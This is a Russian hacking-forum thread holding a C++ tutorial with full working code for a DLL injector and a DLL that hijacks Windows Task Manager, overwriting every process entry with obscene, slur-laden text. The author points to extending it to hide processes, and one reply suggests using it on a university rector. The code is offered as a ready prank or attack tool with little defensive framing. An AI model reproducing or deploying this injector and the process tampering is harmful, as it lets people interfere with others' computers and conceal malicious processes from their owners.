• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Расстройство психики у юзверя (с++)

HideMan

Участник
Сообщения
12
Реакции
38
0 руб.
Telegram
Добрый день друзья. Сегодня мы поговорим немного про инжекты в сторонний процесс и изменение сторонних окон.
В данном случае мы будем подменять вывод процессов стандартного диспетчера задач. Ну, что ж поехали!

image-2.png

Вся информация предоставляется исключительно в ознакомительных целях. Автор не несет ответственности за любой возможный вред причиненный материалами данной статьи.
Сразу объясню, нам потребуется два проекта: инжектор(который будет инжектить нашу дллку в диспетчер) и dll (которая будет выполнять нужные нам изменения).

Инжектор
Сначала создаем консольный проект c++ и подключаем инклуды:

#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <io.h>
далее опишем несколько нужных нам функций:
C++:
//функция проверки наличия процесса
DWORD GetProcessByName(char* process_name)
{
//делаем снепшот всех процессов в системе
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process;
    DWORD proc_id = 0;
\\с каждым процессом передвигаемся к следующему пока не найдем нужный нам
    if (Process32First(snapshot, &process))
    {
        while (Process32Next(snapshot, &process))
        {
            if (_stricmp(process.szExeFile, process_name) == 0)
            {
                proc_id = process.th32ProcessID;
                break;
            }
        }
    }
    CloseHandle(snapshot);
    return proc_id;
}
//простая проверка наличия файла (можно было заморочиться конечно...)
bool FileExist(char* name)
{
    return _access(name, 0) != -1;
}
//функция инжекта dll
bool Inject(DWORD pID, char* path)
{
    HANDLE proc_handle;
    LPVOID RemoteString;
    LPCVOID LoadLibAddy;
    if (pID == 0)
        return false;
//открываем наш процесс
    proc_handle = OpenProcess(PROCESS_ALL_ACCESS, false, pID);
    if (proc_handle == 0)
        return false;
//получаем адрес для инжекта
    LoadLibAddy =
(LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    RemoteString = VirtualAllocEx(proc_handle, NULL, strlen(path), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//записываем в память процесса
    WriteProcessMemory(proc_handle, RemoteString, path, strlen(path), NULL);
//запускаем
    CreateRemoteThread(proc_handle, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, RemoteString, NULL, NULL);
    CloseHandle(proc_handle);
    return true;
}

Ну и функция main() соответственно:
C++:
int main()
{
//объявляем переменные
    char process_name[32];
    char dll_name[32];
    char path[256];
//запрашиваем имя процесса
    printf("proc name: ");
    scanf("%s", process_name);
//пробуем его найти
    DWORD pID = GetProcessByName(process_name);
    printf("Waiting %s for start...\n", process_name);
    for (;; Sleep(50))
    {
        if (pID == 0)
            pID = GetProcessByName(process_name);
        if (pID != 0) break;
    }
    printf("%s found (pid = %X)!\n", process_name, pID);
    while (FileExist(path) == false)
    {
//запрашиваем имя длл
        printf("Enter DLL name: ");
        scanf("%s", dll_name);
        GetFullPathName(dll_name, sizeof(path), path, NULL);
        if (FileExist(path))
        {
            printf("DLL found!\n");
            break;
        }
        else
            printf("DLL not found!\n");
    }
    printf("Preparing DLL for injection...\n");
//если все окей то запускаем инжект
    if (Inject(pID, path))
    {
        printf("DLL successfully injected!\n");
        system("pause");
    }
    else
    {
        printf("CRITICAL ERROR! \nDestroying window...\n");
        Sleep(500);
    }
}

Ну, что ж, теперь переходим непосредственно к самой важной части, наша длл. Создаем проект dll убираем все лишнее и пишем следующий код(пожалуй дам его полностью, а не по частям и прокомментирую его, чтобы было понятнее):
C++:
#include "Windows.h"
#include "commctrl.h"
#include <iostream>
//наши процессы в диспетчере хранятся в таком элементе управления
//как SysListView32(проверить можно с помощью spy++)
//для изменения этого элемента мы можем пользоваться
//стандартными макросами с msdn


//функция для изменения листа с процессами
void dellList(HWND hwnd)
{
//получаем количество элементов в листе
    int count = ListView_GetItemCount(hwnd);
//перебираем все элементы и меняем их значения
    for (int i = 0; i < count; i++)
    {
//макрос принимает такие аргументы как: хендл контрола,
//индекс элемента(от 0), индекс подэлемента, текст для замены
        ListView_SetItemText(hwnd, i, 0, (LPSTR)"Ты пидор!");
        ListView_SetItemText(hwnd, i, 1, (LPSTR)"0");
        ListView_SetItemText(hwnd, i, 2, (LPSTR)"Хуярит");
        ListView_SetItemText(hwnd, i, 3, (LPSTR)"СИСТЕМА");
        ListView_SetItemText(hwnd, i, 4, (LPSTR)"00");
        ListView_SetItemText(hwnd, i, 5, (LPSTR)"0 K");
        ListView_SetItemText(hwnd, i, 6, (LPSTR)"Microsoft");
    }
}
//колбек функция для поиска нашего SysListView32
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam)
{
    LPSTR str = (LPSTR)malloc(sizeof(LPSTR) * 14);;

    if (GetClassNameA(hwnd, str, 14) != 0)
    {
        if (str[0] == 'S' && str[1] == 'y' && str[2] == 's' && str[3] == 'L' && str[4] == 'i' && str[5] == 's' && str[6] == 't' && str[7] == 'V' && str[8] == 'i')
            dellList(hwnd);
    }

    return true;
}
//функция запуска поиска нужного окна и контрола
void start()
{
    while (true) {
//в windows7 окно называется чуть по другому, проверьте
        HWND hwnd = FindWindowA(NULL, "Диспетчер задач");
//после того как нашли окно давайте переберем все его дочерние
//окна, элементы и найдем нужное
        EnumChildWindows(hwnd, EnumChildProc, NULL);
        //Sleep(2000);
    }
}

//точка входа
BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        start();//запускаемся
        break;
    }
    return TRUE;
}

Компилируем, ложим нашу длл рядом (чтобы не прописывать длинный путь) и запускаем.

Более внимательно изучив msdn по этому контролу вы сможете написать скрытие процесса. Таким образом можно работать с почти с любым видом программ, главное узнать какие он использует контролы для отображения.


Источник мой блог: @H1deMan Blog
 

asakyra

Мой дом без стен , я тут лишь тень

asakyra

Мой дом без стен , я тут лишь тень
*
*
Сообщения
267
Реакции
718
0 руб.
Если не ебаный копипаст то годно продолжай в том же духе
 

HideMan

Участник
Сообщения
12
Реакции
38
0 руб.
Telegram

HideMan

Участник
Сообщения
12
Реакции
38
0 руб.
Telegram
У тебя интересные и полезные посты, спасибо.
Буду стараться)
[automerge]1549629476[/automerge]
Единственное я не указал что для инжекта потребуется компилировать в той архитектуре что и процесс для инжекта.
 

Лже Дмитрий

Участник
Сообщения
21
Реакции
8
0 руб.
Годно, нужно залить нашему ректору.
+rep

[automerge]1549630842[/automerge]
Нет, 100% не копипаст) статьи лично мои. Появляются только на блоге и vlmi. (если некто не стырит потом)
Что бы не стырили ставь хайд хотяб на авторизированного или 10+rep
 

HideMan

Участник
Сообщения
12
Реакции
38
0 руб.
Telegram
Годно, нужно залить нашему ректору.
+rep

[automerge]1549630842[/automerge]

Что бы не стырили ставь хайд хотяб на авторизированного или 10+rep

Да мне не жалко в принципе, индексация у этой статьи все ровно будет выше чем у пизженой.
 
Сверху Снизу